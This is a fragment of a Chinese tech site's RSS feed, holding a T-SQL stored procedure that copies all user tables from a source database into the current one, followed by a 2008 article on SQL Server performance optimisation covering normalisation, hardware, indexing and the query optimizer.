[sp_ExportDatabase]<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Go<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Cr&#101;ate PROCEDURE [sp_ExportDatabase] (<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;@SourceDB varchar(100)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;) ----创建存储过程 sp_ExportDatabase<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;AS<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Begin<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Set NoCount On<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Declare @Utb sysname&nbsp;&nbsp;&nbsp;&nbsp; ------用户表名<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Declare @ColName sysname&nbsp;&nbsp; ------列名<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Declare @tid int&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ------用户表的ID<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Declare @sql nvarchar(3000)------存放拼出的sql<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Declare @len int<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;--定义游标取回用户建立的表<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sel&#101;ct @SourceDB=@SourceDB+&#39;.&#39;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Declare Ctb Cursor For<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Sel&#101;ct name,id From sysobjects<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Wh&#101;re xtype =&#39;U&#39; ----如果在导库过程中因某表存在错误而导致导库过程停止 ，则可以尝试修复此表。<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;----如果此表不是很重要、或是此表无法修复，则可以在此加入条件<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;And name in (tablename1,tablename2,……)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;------tablename1,tablename2 表示不能修复的表的名字<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;o&#114;der by name<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Open Ctb<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Fetch Ctb Into @Utb,@tid<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;While (@@FETCH_STATUS=0)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Begin&nbsp;&nbsp; ----禁用当前数据库中所有表的约束、触发器<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Sel&#101;ct @Utb=&#39;Dbo.&#39;+@Utb<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Sel&#101;ct @SQL=&#39;Alt&#101;r Table &#39;+@Utb+&#39; Disable Trigger All; &#39;+ &#39; Alt&#101;r TABLE &#39;+ @Utb +&#39; NOCHECK CONSTRAINT All; &#39;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;exec ( @SQL)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Fetch Ctb Into @Utb,@tid<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;End<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;close ctb<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Open Ctb<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Fetch Ctb Into @Utb,@tid<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;While (@@FETCH_STATUS=0)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Begin<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Sel&#101;ct @Utb=&#39;Dbo.&#39;+@Utb<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;exec (&#39; Del&#101;te &#39; + @Utb)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Set @sql=&#39;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Declare Clu Cursor For Sel&#101;ct name From syscolumns Wh&#101;re id=@tid And iscomputed=0 and xtype&lt;&gt;189<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Open Clu<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Fetch Clu Into @ColName<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;While (@@FETCH_STATUS=0)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Begin&nbsp;&nbsp;&nbsp;&nbsp; ----把列名以逗号隔开，拼成字符串<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Set @sql=@sql+ @ColName + &#39;,&#39;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Fetch Clu Into @ColName<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;End<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Close Clu<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;DeAllocate Clu<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;----构造字符串<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Set @len=Len(@sql)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;If @len&gt;0<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Begin&nbsp;&nbsp; ----把源数据库中的表导入到当前数据库中<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Sel&#101;ct @sql=left(@sql,@len-1)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Set @sql=&#39;Ins&#101;rt Into &#39;+ @Utb + &#39; (&#39;+@sql+&#39;) &#39;+&#39; Sel&#101;ct &#39;+@sql+&#39; From &#39; + @SourceDB+ @Utb<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print &#39;Importing Table : &#39; +@utb+&#39;...&#39;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;If Exists (Sel&#101;ct name From syscolumns Wh&#101;re id=@tid and status=0x80)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;begin<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Sel&#101;ct @SQl=&#39;Set IDENTITY_Ins&#101;rt &#39;+ @Utb + &#39; ON&#39; + &#39; Del&#101;te &#39; + @Utb+&#39; &#39;+@sql<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print @sql<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;end<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Else<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Sel&#101;ct @SQl=@sql<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Exec ( @sql)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;If Exists (Sel&#101;ct name From syscolumns Wh&#101;re id=@tid and status=0x80)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Exec( &#39;Set IDENTITY_Ins&#101;rt &#39;+ @Utb + &#39; Off&#39;)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print &#39;Importing Table : &#39; +@utb+&#39; complete&#39;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;End<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Fetch Next From Ctb Into @Utb,@tid<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;End<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Close Ctb<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Open Ctb<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Fetch Ctb Into @Utb,@tid<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;While (@@FETCH_STATUS=0)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Begin&nbsp;&nbsp; ----启用当前数据库中所有表的约束、触发器<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Sel&#101;ct @Utb=&#39;Dbo.&#39;+@Utb<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sel&#101;ct @sql=&#39;Alt&#101;r Table &#39;+@Utb+&#39; Enable Trigger All &#39;+ &#39; Alt&#101;r TABLE &#39;+ @Utb +&#39; CHECK CONSTRAINT All &#39;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Exec sp_executesql @sql<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Fetch Ctb Into @Utb,@tid<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;End<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;close ctb<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;DeAllocate Ctb<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print &#39;Import database complete!&#39;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return 0<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;End<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Go<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Exec sp_ExportDatabase mytest&nbsp;&nbsp; ----mytest表示源数据实体的名称 <br/>]]></description>
		</item>
		
			<item>
			<link>http://www.cnshark.net/article/2546.htm</link>
			<title><![CDATA[SQL Server数据库性能优化]]></title>
			<author>support@cnshark.net(admin)</author>
			<category><![CDATA[数据库]]></category>
			<pubDate>Mon,01 Dec 2008 11:17:45 +0800</pubDate>
			<guid>http://www.cnshark.net/default.asp?id=2546</guid>
		<description><![CDATA[设计1个应用系统似乎并不难，但是要想使系统达到最优化的性能并不是一件容易的事。在开发工具、数据库设计、应用程序的结构、查询设计、接口选择等方面有多种选择，这取决于特定的应用需求以及开发队伍的技能。本文以SQL Server为例，从后台数据库的角度讨论应用程序性能优化技巧，并且给出了一些有益的建议。 <br/><br/> <br/><br/>1　数据库设计 <br/><br/> <br/><br/>要在良好的SQL Server方案中实现最优的性能，最关键的是要有1个很好的数据库设计方案。在实际工作中，许多SQL Server方案往往是由于数据库设计得不好导致性能很差。所以，要实现良好的数据库设计就必须考虑这些问题。 <br/><br/> <br/><br/>1.1　逻辑库规范化问题 <br/><br/> <br/><br/>一般来说，逻辑数据库设计会满足规范化的前3级标准: <br/><br/> <br/><br/>1.第1规范:没有重复的组或多值的列。 <br/><br/> <br/><br/>2.第2规范:每个非关键字段必须依赖于主关键字，不能依赖于1个组合式主关键字的某些组成部分。 <br/><br/> <br/><br/>3.第3规范:1个非关键字段不能依赖于另1个非关键字段。 <br/><br/> <br/><br/>遵守这些规则的设计会产生较少的列和更多的表，因而也就减少了数据冗余，也减少了用于存储数据的页。但表关系也许需要通过复杂的合并来处理，这样会降低系统的性能。某种程度上的非规范化可以改善系统的性能，非规范化过程可以根据性能方面不同的考虑用多种不同的方法进行，但以下方法经实践验证往往能提高性能。 <br/><br/> <br/><br/>1.如果规范化设计产生了许多4路或更多路合并关系，就可以考虑在数据库实体(表)中加入重复属性(列)。 <br/><br/> <br/><br/>2.常用的计算字段(如总计、最大值等)可以考虑存储到数据库实体中。 <br/><br/> <br/><br/>比如某一个项目的计划管理系统中有计划表，其字段为:项目编号、年初计划、二次计划、调整计划、补列计划…，而计划总数(年初计划+二次计划+调整计划+补列计划)是用户经常需要在查询和报表中用到的，在表的记录量很大时，有必要把计划总数作为1个独立的字段加入到表中。这里可以采用触发器以在客户端保持数据的一致性。 <br/><br/> <br/><br/>3.重新定义实体以减少外部属性数据或行数据的开支。相应的非规范化类型是: <br/><br/> <br/><br/>(1)把1个实体(表)分割成2个表(把所有的属性分成2组)。这样就把频繁被访问的数据同较少被访问的数据分开了。这种方法要求在每个表中复制首要关键字。这样产生的设计有利于并行处理，并将产生列数较少的表。 <br/><br/> <br/><br/>(2)把1个实体(表)分割成2个表(把所有的行分成2组)。这种方法适用于那些将包含大量数据的实体(表)。在应用中常要保留历史记录，但是历史记录很少用到。因此可以把频繁被访问的数据同较少被访问的历史数据分开。而且如果数据行是作为子集被逻辑工作组(部门、销售分区、地理区域等)访问的，那么这种方法也是很有好处的。 <br/><br/> <br/><br/>1.2　生成物理数据库 <br/><br/> <br/><br/>要想正确选择基本物理实现策略，必须懂得数据库访问格式和硬件资源的操作特点，主要是内存和磁盘子系统I/O。这是一个范围广泛的话题，但以下的准则可能会有所帮助。 <br/><br/> <br/><br/>1.与每个表列相关的数据类型应该反映数据所需的最小存储空间，特别是对于被索引的列更是如此。比如能使用smallint类型就不要用integer类型，这样索引字段可以被更快地读取，而且可以在1个数据页上放置更多的数据行，因而也就减少了I/O操作。 <br/><br/> <br/><br/>2.把1个表放在某个物理设备上，再通过SQL Server段把它的不分簇索引放在1个不同的物理设备上，这样能提高性能。尤其是系统采用了多个智能型磁盘控制器和数据分离技术的情况下，这样做的好处更加明显。 <br/><br/> <br/><br/>3.用SQL Server段把一个频繁使用的大表分割开，并放在2个单独的智能型磁盘控制器的数据库设备上，这样也可以提高性能。因为有多个磁头在查找，所以数据分离也能提高性能。 <br/><br/> <br/><br/>4.用SQL Server段把文本或图像列的数据存放在1个单独的物理设备上可以提高性能。1个专用的智能型的控制器能进一步提高性能。 <br/><br/>2　与SQL Server相关的硬件系统 <br/><br/> <br/><br/>与SQL Server有关的硬件设计包括系统处理器、内存、磁盘子系统和网络，这4个部分基本上构成了硬件平台，Windows NT和SQL Server运行于其上。 <br/><br/> <br/><br/>2.1　系统处理器(CPU) <br/><br/> <br/><br/>根据自己的具体需要确定CPU结构的过程就是估计在硬件平台上占用CPU的工作量的过程。从以往的经验看，CPU配置最少应是1个80586/100处理器。如果只有2～3个用户，这就足够了，但如果打算支持更多的用户和关键应用，推荐采用Pentium Pro或PⅡ级CPU。 <br/><br/> <br/><br/>2.2　内存(RAM) <br/><br/> <br/><br/>为SQL Server方案确定合适的内存设置对于实现良好的性能是至关重要的。SQL Server用内存做过程缓存、数据和索引项缓存、静态服务器开支和设置开支。SQL Server最多能利用2GB虚拟内存，这也是最大的设置值。还有一点必须考虑的是Windows NT和它的所有相关的服务也要占用内存。 <br/><br/> <br/><br/>Windows NT为每个WIN32应用程序提供了4GB的虚拟地址空间。这个虚拟地址空间由Windows NT虚拟内存管理器(VMM)映射到物理内存上，在某些硬件平台上可以达到4GB。SQL Server应用程序只知道虚拟地址，所以不能直接访问物理内存，这个访问是由VMM控制的。Windows NT允许产生超出可用的物理内存的虚拟地址空间，这样当给SQL Server分配的虚拟内存多于可用的物理内存时，会降低SQL Server的性能。 <br/><br/> <br/><br/>这些地址空间是专门为SQL Server系统设置的，所以如果在同一硬件平台上还有其它软件(如文件和打印共享，应用程序服务等)在运行，那么应该考虑到它们也占用一部分内存。一般来说硬件平台至少要配置32MB的内存，其中，Windows NT至少要占用16MB。1个简单的法则是，给每一个并发的用户增加100KB的内存。例如，如果有100个并发的用户，则至少需要32MB+100用户*100KB=42MB内存，实际的使用数量还需要根据运行的实际情况调整。可以说，提高内存是提高系统性能的最经济的途径。 <br/><br/> <br/><br/>2.3　磁盘子系统 <br/><br/> <br/><br/>设计1个好的磁盘I/O系统是实现良好的SQL Server方案的一个很重要的方面。这里讨论的磁盘子系统至少有1个磁盘控制设备和1个或多个硬盘单元，还有对磁盘设置和文件系统的考虑。智能型SCSI-2磁盘控制器或磁盘组控制器是不错的选择，其特点如下: <br/><br/> <br/><br/>(1)控制器高速缓存。 <br/><br/> <br/><br/>(2)总线主板上有处理器，可以减少对系统CPU的中断。 <br/><br/> <br/><br/>(3)异步读写支持。 <br/><br/> <br/><br/>(4)32位RAID支持。 <br/><br/> <br/><br/>(5)快速SCSI—2驱动。 <br/><br/> <br/><br/>(6)超前读高速缓存(至少1个磁道)。 <br/><br/> <br/><br/>3　检索策略 <br/><br/> <br/><br/>在精心选择了硬件平台，又实现了1个良好的数据库方案，并且具备了用户需求和应用方面的知识后，现在应该设计查询和索引了。有2个方面对于在SQL Server上取得良好的查询和索引性能是十分重要的，第1是根据SQL Server优化器方面的知识生成查询和索引;第2是利用SQL Server的性能特点，加强数据访问操作。 <br/><br/> <br/><br/>3.1　SQL Server优化器 <br/><br/> <br/><br/>Microsoft SQL Server数据库内核用1个基于费用的查询优化器自动优化向SQL提交的数据查询操作。数据操作查询是指支持SQL关键字Wh&#101;re或HAVING的查询，如Sel&#101;ct、Del&#101;te和Up&#100;ate。基于费用的查询优化器根据统计信息产生子句的费用估算。 <br/><br/> <br/><br/>了解优化器数据处理过程的简单方法是检测SHOWPLAN命令的输出结果。如果用基于字符的工具(例如isql)，可以通过键入SHOW SHOWPLAN ON来得到SHOWPLAN命令的输出。如果使用图形化查询，比如SQL Enterprise Manager中的查询工具或isql/w，可以设定配置选项来提供这一信息。 <br/><br/> <br/><br/>SQL Server的优化通过3个阶段完成:查询分析、索引选择、合并选择。 <br/><br/> <br/><br/>1.查询分析 <br/><br/> <br/><br/>在查询分析阶段，SQL Server优化器查看每一个由正规查询树代表的子句，并判断它是否能被优化。SQL Server一般会尽量优化那些限制扫描的子句。例如，搜索和/或合并子句。但是不是所有合法的SQL语法都可以分成可优化的子句，如含有SQL不等关系符“&lt;&gt;”的子句。因为“&lt;&gt;”是1个排斥性的操作符，而不是1个包括性的操作符，所在扫描整个表之前无法确定子句的选择范围会有多大。当1个关系型查询中含有不可优化的子句时，执行计划用表扫描来访问查询的这个部分，对于查询树中可优化的SQL Server子句，则由优化器执行索引选择。 <br/><br/> <br/><br/>2.索引选择 <br/><br/> <br/><br/>对于每个可优化的子句，优化器都查看数据库系统表，以确定是否有相关的索引能用于访问数据。只有当索引中的列的1个前缀与查询子句中的列完全匹配时，这个索引才被认为是有用的。因为索引是根据列的顺序构造的，所以要求匹配是精确的匹配。对于分簇索引，原来的数据也是根据索引列顺序排序的。想用索引的次要列访问数据，就像想在电话本中查找所有姓为某个姓氏的条目一样，排序基本上没有什么用，因为你还是得查看每一行以确定它是否符合条件。如果1个子句有可用的索引，那么优化器就会为它确定选择性。 <br/><br/>所以在设计过程中，要根据查询设计准则仔细检查所有的查询，以查询的优化特点为基础设计索引。 <br/><br/> <br/><br/>(1)比较窄的索引具有比较高的效率。对于比较窄的索引来说，每页上能存放较多的索引行，而且索引的级别也较少。所以，缓存中能放置更多的索引页，这样也减少了I/O操作。 <br/><br/> <br/><br/>(2)SQL Server优化器能分析大量的索引和合并可能性。所以与较少的宽索引相比，较多的窄索引能向优化器提供更多的选择。但是不要保留不必要的索引，因为它们将增加存储和维护的开支。对于复合索引、组合索引或多列索引，SQL Server优化器只保留最重要的列的分布统计信息，这样，索引的第1列应该有很大的选择性。 <br/><br/> <br/><br/>(3)表上的索引过多会影响Up&#100;ate、Ins&#101;rt和Del&#101;te的性能，因为所有的索引都必须做相应的调整。另外，所有的分页操作都被记录在日志中，这也会增加I/O操作。 <br/><br/> <br/><br/>(4)对1个经常被更新的列建立索引，会严重影响性能。 <br/><br/> <br/><br/>(5)由于存储开支和I/O操作方面的原因，较小的自组索引比较大的索引性能更好一些。但它的缺点是要维护自组的列。 <br/><br/> <br/><br/>(6)尽量分析出每一个重要查询的使用频度，这样可以找出使用最多的索引，然后可以先对这些索引进行适当的优化。 <br/><br/> <br/><br/>(7)查询中的Wh&#101;re子句中的任何列都很可能是个索引列，因为优化器重点处理这个子句。 <br/><br/> <br/><br/>(8)对小于1个范围的小型表进行索引是不划算的，因为对于小表来说表扫描往往更快而且费用低。 <br/><br/> <br/><br/>(9)与“ORDER BY”或“GROUP BY”一起使用的列一般适于做分族索引。如果“ORDER BY”命令中用到的列上有分簇索引，那么就不会再生成1个工作表了，因为行已经排序了。“GROUP BY”命令则一定产生1个工作表。 <br/><br/> <br/><br/>(10)分簇索引不应该构造在经常变化的列上，因为这会引起整行的移动。在实现大型交易处理系统时，尤其要注意这一点，因为这些系统中数据往往是频繁变化的。 <br/><br/> <br/><br/>3.合并选择 <br/><br/> <br/><br/>当索引选择结束，并且所有的子句都有了一个基于它们的访问计划的处理费用时，优化器开始执行合并选择。合并选择被用来找出一个用于合并子句访问计划的有效顺序。为了做到这一点，优化器比较子句的不同排序，然后选出从物理磁盘I/O的角度看处理费用最低的合并计划。因为子句组合的数量会随着查询的复杂度极快地增长，SQL Server查询优化器使用树剪枝技术来尽量减少这些比较所带来的开支。当这个合并选择阶段结束时，SQL Server查询优化器已经生成了1个基于费用的查询执行计划，这个计划充分利用了可用的索引，并以最小的系统开支和良好的执行性能访问原来的数据。 <br/><br/> <br/><br/>3.2　高效的查询选择 <br/><br/> <br/><br/>从以上查询优化的3个阶段不难看出，设计出物理I/O和逻辑I/O最少的方案并掌握好处理器时间和I/O时间的平衡，是高效查询设计的主要目标。也就是说，希望设计出这样的查询:充分利用索引、磁盘读写最少、最高效地利用了内存和CPU资源。 <br/><br/> <br/><br/>以下建议是从SQL Server优化器的优化策略中总结出来的，对于设计高效的查询是很有帮助的。 <br/><br/> <br/><br/>1.如果有独特的索引，那么带有“=”操作符的Wh&#101;re子句性能最好，其次是封闭的区间(范围)，再其次是开放的区间。 <br/><br/> <br/><br/>2.从数据库访问的角度看，含有不连续连接词(OR和IN)的Wh&#101;re子句一般来说性能不会太好。所以，优化器可能会采用R策略，这种策略会生成1个工作表，其中含有每个可能匹配的执行的标识符，优化器把这些行标志符(页号和行号)看做是指向1个表中匹配的行的“动态索引”。优化器只需扫描工作表，取出每一个行标志符，再从数据表中取得相应的行，所以R策略的代价是生成工作表。 <br/><br/> <br/><br/>3.包含NOT、&lt;&gt;、或!　=的Wh&#101;re子句对于优化器的索引选择来说没有什么用处。因为这样的子句是排斥性的，而不是包括性的，所以在扫描整个原来数据表之前无法确定子句的选择性。 <br/><br/> <br/><br/>4.限制数据转换和串操作，优化器一般不会根据Wh&#101;re子句中的表达式和数据转换式生成索引选择。例如: <br/><br/> <br/><br/>paycheck * 12&gt;36000 o&#114; substring(lastname,1,1)=“L” <br/><br/> <br/><br/>如果该表建立了针对paycheck和lastname的索引，就不能利用索引进行优化，可以改写上面的条件表达式为: <br/><br/> <br/><br/>paycheck&lt;36000/12 o&#114; lastname like “L%” <br/><br/> <br/><br/>5.Wh&#101;re子句中的本地变量被认为是不被优化器知道和考虑的，例外的情况是定义为储备过程输入参数的变量。 <br/><br/> 